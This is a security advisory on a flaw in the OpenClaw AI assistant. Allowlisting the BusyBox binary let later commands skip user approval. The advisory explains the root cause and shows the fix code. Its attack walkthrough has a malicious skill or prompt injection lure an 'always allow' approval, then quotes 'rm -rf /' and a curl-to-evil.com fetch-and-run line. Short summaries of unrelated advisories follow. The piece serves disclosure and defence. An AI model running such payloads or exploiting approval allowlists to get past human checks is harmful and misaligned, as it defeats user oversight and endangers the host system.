Mar 2, 2026·5 min read·21 visits
OpenClaw failed to distinguish between shell multiplexers (like BusyBox) and standard executables. If a user 'always allowed' a benign BusyBox command, the system allowlisted the BusyBox binary path. Attackers could then use BusyBox to run arbitrary malicious commands without user approval.
A high-severity logic vulnerability exists in the OpenClaw AI assistant's execution authorization engine. The flaw resides in the 'allow-always' persistence mechanism, which fails to correctly handle shell multiplexers such as BusyBox and Toybox. By authorizing a single benign command routed through a multiplexer, a user inadvertently grants permanent, blanket execution privileges to the multiplexer binary itself. This allows an attacker or malicious prompt to bypass subsequent user approval prompts and execute arbitrary commands using the same multiplexer binary.
OpenClaw (formerly ClawdBot) implements a 'human-in-the-loop' security model where users must explicitly approve system commands generated by the AI agent. To balance security with usability, the system includes an 'allow-always' feature. When selected, this feature persists the executable path to an allowlist, preventing future prompts for that specific tool.
The vulnerability, identified as GHSA-GWQP-86Q6-W47G, is a Protection Mechanism Failure (CWE-693) within this persistence logic. The system blindly trusted the executable path of the running process without inspecting its arguments. This trust model collapses when the executable is a shell multiplexer—a single binary capable of acting as hundreds of different utilities (e.g., ls, cat, sh, rm) based on invocation arguments.
Because the authorization engine effectively flattened the identity of the command to the binary path (e.g., /bin/busybox), a user granting permission for a harmless operation (like busybox echo) would inadvertently authorize the execution of any command routed through that binary.
The root cause is a logic error in the identification of the 'process' being authorized. In standard Unix environments, most executables perform a single, well-defined function. However, multicall binaries like BusyBox and Toybox function as dispatch wrappers. They use the first argument (argv[0] or argv[1]) to determine which internal applet to execute.
Prior to version 2026.2.22-3, OpenClaw's authorization engine retrieved the absolute path of the executable and used it as the primary key for the allowlist. When a user approved a command like busybox sh -c 'date', the system stored /bin/busybox in the persistent configuration.
When a subsequent request arrived to execute busybox sh -c 'rm -rf /', the system performed a lookup for /bin/busybox. Finding a match in the allowlist, it permitted execution immediately, bypassing the user prompt. The system failed to recognize that for multiplexers, the security boundary lies not in the binary itself, but in the arguments passed to it.
The remediation involved introducing a recursive unwrapping mechanism to identify the true target of a command. The fix prevents the system from blindly allowlisting known multiplexers.
The following code from src/infra/exec-wrapper-resolution.ts demonstrates the new logic used to unwrap these invocations:
export function unwrapKnownShellMultiplexerInvocation(argv: string[]): ShellMultiplexerUnwrapResult {
const token0 = argv[0]?.trim();
const wrapper = normalizeExecutableToken(token0);
// 1. Identify if the binary is a known multiplexer (BusyBox/Toybox)
if (!SHELL_MULTIPLEXER_WRAPPER_CANONICAL.has(wrapper)) {
return { kind: "not-wrapper" };
}
// 2. Parse the arguments to find the applet (inner command)
let appletIndex = 1;
if (argv[appletIndex]?.trim() === "--") { appletIndex += 1; }
const applet = argv[appletIndex]?.trim();
// 3. Fail safe: If we can't identify the applet, block the persistence
if (!applet || !isShellWrapperExecutable(applet)) {
return { kind: "blocked", wrapper };
}
// 4. Return the inner command for processing/allowlisting
return { kind: "unwrapped", wrapper, argv: argv.slice(appletIndex) };
}Instead of persisting the wrapper (token0), the system now recursively resolves the arguments until it finds a non-multiplexer executable. If a user authorizes busybox echo hello, the system now persists the path to the echo binary (or internal representation) rather than busybox.
An attacker can exploit this vulnerability through a three-stage process involving social engineering or prompt injection:
Luring: The attacker (via a malicious skill or prompt) triggers a benign command using a multiplexer. For example: busybox ping -c 1 8.8.8.8. The user sees a prompt asking to approve the network check.
Persistence: Trusting the operation, the user selects "Always allow" to avoid future prompts for connectivity checks. The system writes /bin/busybox to the security.allowlist.
Execution: The attacker subsequently issues a malicious command: busybox sh -c 'curl http://evil.com/payload | sh'. The authorization engine checks the binary path, matches /bin/busybox against the allowlist, and executes the payload silently.
This technique maps to MITRE ATT&CK T1548 (Abuse Elevation Control Mechanism) and T1204.002 (User Execution: Malicious File), relying on the user's trust to break the security boundary.
The impact of this vulnerability is critical for the integrity of the OpenClaw sandbox. By design, OpenClaw has access to the host system to perform tasks. The user approval prompt is the primary defense against rogue AI behavior or prompt injection attacks.
Consequences of Exploitation:
cat, wget, nc).The vulnerability specifically undermines the Defense in Depth strategy, rendering the "human-in-the-loop" control ineffective against sophisticated attacks leveraging standard system utilities.
Users must upgrade to openclaw version 2026.2.22-3 or later immediately. This version implements the unwrapKnownShellMultiplexerInvocation logic to correctly handle multi-call binaries.
Critical Post-Update Step: Updating the software prevents new insecure entries but does not automatically remove existing insecure entries. Administrators must audit and clear the existing allowlist:
security.allowlist configuration./bin/busybox, /usr/bin/busybox, or /bin/toybox.For high-security environments, it is recommended to restrict the availability of shell multiplexers in the environment path where OpenClaw operates, or use containerization to limit the blast radius of executed commands.
| Product | Affected Versions | Fixed Version |
|---|---|---|
openclaw openclaw | <= 2026.2.22-2 | 2026.2.22-3 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | Execution Approval Bypass |
| CWE ID | CWE-693 (Protection Mechanism Failure) |
| Affected Component | Authorization Engine / Persistence Layer |
| Attack Vector | Local / User-Assisted |
| Impact | Arbitrary Code Execution |
| Severity | High |
A critical logical security flaw exists in Auth.js (formerly NextAuth.js) where signed anti-CSRF check cookies (state, nonce, and PKCE code_verifier) are not bound to the specific Identity Provider that initiated the authorization flow. In multi-provider environments, this allows an attacker to replay valid, cryptographically signed cookies minted during a flow with one provider against a callback handling a different provider. This vulnerability can lead to session hijacking, identity theft, or unauthorized account linking.
A security vulnerability in the email normalization logic of NextAuth.js and Auth.js allows remote attackers to bypass email validation constraints and achieve Account Takeover (ATO) through Unicode homoglyph smuggling. Under standard conditions, Unicode compatibility characters represent visually similar symbols that are normalized downstream to ASCII equivalents, facilitating structural validation bypasses. This issue specifically affects passwordless email authentication flows.
Auth.js (formerly NextAuth.js) contains a denial of service vulnerability due to an uncaught URIError in the getToken() token parser when processing malformed percent-encoded sequences in bearer tokens. Additionally, the library was vulnerable to session state confusion and replay attacks because OAuth check cookies (state, nonce, and PKCE) were not properly bound to specific providers, permitting cross-provider token reuse.
CVE-2026-53467 is a heap information disclosure vulnerability in the Multiple-image Network Graphics (MNG) decoder of ImageMagick. The vulnerability arises from a failure to zero-initialize newly allocated pixel cache memory buffers. A remote attacker can exploit this by submitting a crafted sparse MNG image file to trigger uninitialized memory preservation. The resulting output contains residual heap bytes, potentially leaking sensitive process memory or assisting in ASLR bypass.
An untrusted deserialization vulnerability exists in the c3p0 JDBC connection pooling library before version 0.14.0. Standard JDBC getter methods conform to the JavaBean property getter pattern, allowing introspection libraries like Apache Commons BeanUtils to evaluate connection properties dynamically during deserialization, leading to arbitrary code execution when chained with a vulnerable database driver or JNDI sink.
A heap-based buffer overflow vulnerability exists in the native C extension of the Ruby json gem (versions 2.9.0 through 2.19.8) during IO-based streaming serialization. An incorrect buffer size calculation can lead to memory corruption and process termination when processing large strings.